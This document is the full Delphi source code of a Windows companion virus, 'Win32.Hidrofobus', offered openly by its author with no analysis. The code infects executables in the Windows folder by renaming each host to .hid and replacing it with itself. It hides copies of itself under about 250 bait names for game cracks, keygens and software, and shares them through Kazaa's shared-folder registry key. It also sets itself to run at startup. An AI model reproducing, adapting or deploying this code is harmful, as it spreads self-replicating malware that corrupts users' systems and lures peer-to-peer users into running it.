| ||||||||||||||||
|
Win32.Hidrofobus
by Hutley
See also the project folder
program hidrofobus;
{$WARN UNSAFE_TYPE OFF}
{
Win32.Hidrofobus by Hutley / RRLF
* My first companion virus
Features:
- spread by kazaa (~250 names)
- not use encript of strings
- start with windows
- change the extension of .exe to .hid in win folder
www.Hutley.de.vu
www.RRLF.de.vu
}
uses
Windows, SysUtils;
const
about: string = 'win32.Hidrofobus';
coder: string = 'Hutley / RRLF';
function WinDir: string;
begin
SetLength(Result, MAX_PATH);
if GetWindowsDirectory(PChar(Result), MAX_PATH) > 0 then
Result := string(PChar(Result)) + '\'
else
Result := '';
end;
function SysDir: string;
begin
SetLength(Result, MAX_PATH);
if GetSystemDirectory(PChar(Result), MAX_PATH) > 0 then
Result := string(PChar(Result)) + '\'
else
Result := '';
end;
procedure copy_fakes;
var
hidro_file: array[0..260] of char;
hidro_sysdir: string;
i_fakes: integer;
const
f_files: array[1..250] of string = ('hulbrich_regdat_v1.3',
'h_ulbrich_regexport_v1.0',
'h-a-l_1.01', 'h-a-l_1.02', 'h2omarker_1.1', 'h2omarker_1.3', 'h3d', 'h3d_1.0',
'ha!_cd_burner_(+dvd)_5.0', 'habit_2_change_v1.0_palmospda', 'habit2change_v2.0_palmospda',
'habu', 'hace_mmm_v2.02_plus', 'hace_mmm_v2.02_plus_regged', 'hack_all_world', 'hack_v0.1',
'hacker_proof_98_v1.1', 'hacker_proof_98_v1.12', 'hacker_smacker_1.1', 'hacker_smacker_v1.1',
'hacker_v1.1', 'hacker_v2.0_by_fhcf', 'hacker_v2.0_by_rh_factor', 'hackers_black_book',
'hackers_black_book_login_(german)', 'hackersmacker_1.1', 'hacking_tools_v.2.12',
'hackman_7.03', 'hackman_7.05', 'hackman_disassembler_8.01', 'hackman_disassembler_v8.0',
'hackman_disassembler_v8.01', 'hackman_disassembler_v8.02_pro', 'hackman_hex_editor_7.03',
'hackman_hex_editor_8.02', 'hackman_hex_editor_pro_7.05', 'hackman_hex_editor_v7.03',
'hackman_hex_editor_v7.04', 'hackman_hex_editor_v7.05', 'hackman_hex_editor_v8.02_pro',
'hackman_v5.01_by_aaocg', 'hackman_v5.01_by_tmg', 'hackman_v5.04', 'hackman_v6.01',
'hackman_v7.03', 'hacknoid_1.1', 'haegemonia', 'haegemonia_the_solon_heritage',
'haegemonia:_legions_of_iron', 'haegemonia:_the_solon_heritage', 'hailstorm_v3.0',
'hahtsite_application_server_v3.0_win', 'hailstorm_spring_v2.0.0_n3650_java', 'half_life_2.2',
'hainsoft_lanhelper_v1.4.5.3', 'hal-life_opposing_force', 'halcyon_6.05.01', 'halcyon_6.05.02',
'half_-_life_counter_-_strike', 'half_life_+_counter_strike_keys', 'half_life_-_day_of_defeat',
'half_life_-_steam_-_counterstrike', 'half_life_-_steam_works', 'half_life_2.1', 'half_life_2.0.1',
'half_life_1_all', 'half_life_1.0.1.0', 'half_life_1.00', 'half_life_1.1.0.8', 'half_life_2.0',
'half_life_2_1.0', 'half_life_2_all_access_cheats', 'half_life_2_all_versions_fix', 'half_life_2x',
'half_life_all', 'half_life_cd_key', 'half_life_cd_key_6.9.2003', 'half_life_counter_strike_1.6_full',
'half_life_counter_strike_danish', 'half_life_opposing_force_cd_key', 'half-life.0', 'half-life',
'half_life.counter_strike_and_steam_cd-keys_all', 'half_life._counter-strike', 'half-life_(null)',
'half_lifeuding_condition_zero_cdkey', 'half-life_(won_works)', 'half-life_-_counter-strike.1',
'half-life_-_counter-strike_1.6', 'half-life_-_opposing_force_patch', 'half-life.cs',
'half-life_1.1.1.0', 'half-life_-_opposing_force_no-cd', 'half-life_-_opposing_force_v1.1.0.0',
'half-life_2_cdkey', 'half-life_2_crack', 'half-life_2_keygen', 'half-life_2_patch',
'half-life_2_ai_rebuiled_fix', 'half-life_2_all_access_cheat', 'half-life_2_by_ape',
'half-life_2_by_fff', 'half-life_2_by_ownage', 'half-life_2_by_revelation', 'half-life_2_by_swivvor',
'half-life_2_by_virility', 'half-life_2_cdversion_upgrade', 'half-life_2_crack_by_ind',
'half-life_2_dvd_edition_by_efc87rulez.tk', 'half-life_2_fix_by_ind', 'half-life_2_intro_remover',
'half-life_2_nocddvd', 'half-life_2_online_play_method_by_ind', 'half-life_2_proper_by_logic',
'half-life_._opposing_force_(null)', 'half-life_all_version', 'half-life_blue_shift_keygen',
'half-life_blueshift_1.0', 'half-life_cd_key_changer_v3.0', 'half-life_cd_keygen',
'half-life_cd-key_utility', 'half-life_counter_strike', 'half-life_counter_strike.patch',
'half-life_counter_strike_cracker', 'half-life_counter_strike_keygen', 'half-life_keygen.1',
'half-life_counterstrike_v_1.5.2', 'half-life_counterstrike_v_1.5', 'half-life_dedicated_server_v4.1.1.1',
'half-life_edicão_especial.generation', 'half-life_opposing_force.hack', 'half-life_opposing_force.patcher',
'half-life_opposing_force_keygen', 'half-life_original_won_cd_key', 'half-life_special_edition',
'half-life_v1.0.1.0', 'half-life_v1.0.1.5', 'half-life_v1.0.1.6', 'half-life_v1.0.1.6_new',
'half-life_v1.0.1.6_no-cd', 'half-life_v1.1.0.0', 'half-life_v1.1.0.0_new', 'half-life2',
'half-life_v1.1.0.6_online_patch', 'half-life_v1.1.1.1', 'half-life_v1.1.1.1_tjomi4',
'half-life_v1.107', 'half-life_v1.1101', 'half-life._blue_shift', 'half-life._game_of_the_year_edition',
'half-life._blue_shift_v._1.0_+_opossing_force_multiplayer', 'half-life.counterstrike.crk',
'half-life._gunman_chronicles', 'half-life._initial_encounter', 'half-life.opposing_for_s.n._ce',
'half-life.counter_strike_1.1', 'half-life.opposing_force', 'halflife.crk', 'halflife_game_of_year_edition',
'halflife_v1.0.0.5', 'halflife.counterstrike_lankey_100', 'half_life_source', 'hallosat_v5.15_german',
'hallo_suchmaschinen_v1.02_german', 'hallosat_5.15.0', 'hallosat_5.15.1', 'hallosat_5.15', 'hallosat_5.21',
'hallosat_v5.14_german', 'hallosat_v5.21_german', 'hallosat_v5.30_german', 'hallosat_v5.41_bilingual',
'hallosat_v5.41_keygen', 'halloween_1,666', 'halloween_1.5', 'halloween_1.999', 'halloween_1.999.2',
'halloween_3d_screensaver_1.0', 'halloween_3d_v1_2_level_unlocker', 'halloween_3d_v1_2_plus_6_trainer',
'halloween_cheats', 'halloween_haunts_v1.0', 'halloween_haunts_v1.11', 'halloween_haunts_v1.2',
'halloween_plus_6_trainer', 'halloween_screen_saver_1.0', 'halloween_slots',
'halloween_slots_2.0', 'halloween_v1.3p_trainer', 'halloween_v1.666', 'halloween_v1.999',
'halloween_v1.999_plus_8_trainer', 'halloween_v1.999.2', 'halloween_v2.71', 'halloween_v2.8',
'halloween2000_v2.0', 'halma_3d_1.0', 'halma_3d_v1.0', 'halo', 'halo.crk', 'halo_1',
'halo_2_multiplayer_gameguide', 'halo_alias_el_diablo_glitches_and_secrets_guide_v3.8',
'halo_any', 'halo_by_el_diablo', 'halo_by_rte-dlazz', 'halo_ce', 'halo_cobat_evolved',
'halo_combat_evloved', 'halo_combat_evolved', 'halo_combat_evolved_for_the_pc', 'ham_helper_v1.31',
'halo_combat_evolved_private_server_patch_by_fairlight', 'halo_combat_evolved_public_server_patch_by_fairlight',
'halo_combat_evolved_retail', 'halo_combat_evolved_update_v1.04', 'halo_combat_evolved_update_v1.05',
'halo_combat_evolved_v1.01_plus_4_trainerdox', 'halo_combat_evolved_v1.031_french',
'halo_combat_evolved_v1.04_plus_4_trainer', 'halo_custom_edition', 'halo_evolved.1', 'halo_german_serial',
'halo_glitches_secrets_guide_v2.7', 'halo_pc', 'halo._combat_envolved', 'halo._combat_evolved.1',
'halo._kampf_um_die_zukunft', 'halsovakten_plus_v2.10_o_swedish', 'halworks_2.0', 'halworks_2.2',
'halworks_v2.01', 'ham_helper_1.11', 'ham_helper_1.31', 'ham_helper_v1.21', 'ham_helper_v1.3',
'ham_label_professionell_3.5.1', 'ham_label_professionell_v3.5.1_german', 'ham_office_3.4.3b',
'ham_label_professionell_v3.5.4_german', 'ham_label_professionell_v3.5.5_german', 'ham_office_3.3.2b',
'ham_office_3.4.1b', 'ham_office_3.4.2', 'ham_office_v3.3.2_german', 'ham_office_v3.3.2b_german',
'ham_office_v3.4.1b_german', 'ham_office_v3.4.3_german', 'ham_office_v3.4.5_german',
'ham_office_v3.4.5b_german');
begin
// let's to Windir!
GetModuleFileName(0, hidro_file, SizeOf(hidro_file));
if CopyFile(hidro_file, PChar(WinDir + 'hidrof.exe'), false) then
SetFileAttributes(PChar(WinDir + 'hidrof.exe'), FILE_ATTRIBUTE_HIDDEN);
// letīs to System\hidrofobus
CreateDir(SysDir + 'hidrofobus');
hidro_sysdir := SysDir + 'hidrofobus\';
for i_fakes := 1 to 250 do
begin
if CopyFile(hidro_file, PChar(hidro_sysdir + f_files[i_fakes]), false) then
SetFileAttributes(PChar(hidro_sysdir + f_files[i_fakes]), FILE_ATTRIBUTE_HIDDEN);
end;
end;
procedure share_in_kazaa;
var
kz_result: HKEY;
hidrofo_path: string;
hidrofo_size: integer;
const
kz_key: HKEY = HKEY_CURRENT_USER;
kz_subkey: string = 'Software\Kazaa\LocalContent';
begin
hidrofo_path := '012345:' + SysDir + 'hidrofobus';
hidrofo_size := length(hidrofo_path);
if RegOpenKeyEx(kz_key, PChar(kz_subkey), 0, KEY_WRITE, kz_result) =
ERROR_SUCCESS then
begin
RegSetValueEx(kz_result, PChar('Dir0'), 0, REG_SZ, PChar(hidrofo_path),
hidrofo_size);
RegCloseKey(kz_result);
end;
end;
procedure winreg;
var
wr_result: HKEY;
hidrofo_path: string;
hidrofo_size: integer;
const
wr_key: HKEY = HKEY_LOCAL_MACHINE;
wr_subkey: string = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run';
begin
hidrofo_path := WinDir + 'hidrof.exe';
hidrofo_size := length(hidrofo_path);
if RegOpenKeyEx(wr_key, PChar(wr_subkey), 0, KEY_WRITE, wr_result) =
ERROR_SUCCESS then
begin
RegSetValueEx(wr_result, PChar('Hidrofobus'), 0, REG_SZ,
PChar(hidrofo_path), hidrofo_size);
RegCloseKey(wr_result);
end;
end;
procedure scan_infect_files;
var
f_found: TSearchRec;
hidro_new, hidro_host: string;
hidro_file: array[0..260] of char;
begin
GetModuleFileName(0, hidro_file, SizeOf(hidro_file));
if FindFirst(WinDir + '*.exe', faArchive or faHidden, f_found) = 0 then
try
repeat
hidro_host := WinDir + f_found.Name;
hidro_new := Copy(hidro_host, 1, length(hidro_host) - 3) + 'hid';
if CopyFile(PChar(hidro_host), PChar(hidro_new), true) = true then
CopyFile(hidro_file, PChar(hidro_host), false)
else
until
FindNext(f_found) <> 0;
finally
FindClose(f_found);
end;
end;
var
hidro_file: array[0..260] of char;
hidro_real: string;
begin
GetModuleFileName(0, hidro_file, SizeOf(hidro_file));
hidro_real := hidro_file;
hidro_real := Copy(hidro_real, 1, length(hidro_real) - 3) + 'hid';
if WinExec(PChar(hidro_real), SW_SHOWDEFAULT) = ERROR_FILE_NOT_FOUND then
scan_infect_files;
copy_fakes;
share_in_kazaa;
winreg;
end.
| ||||||||||||||||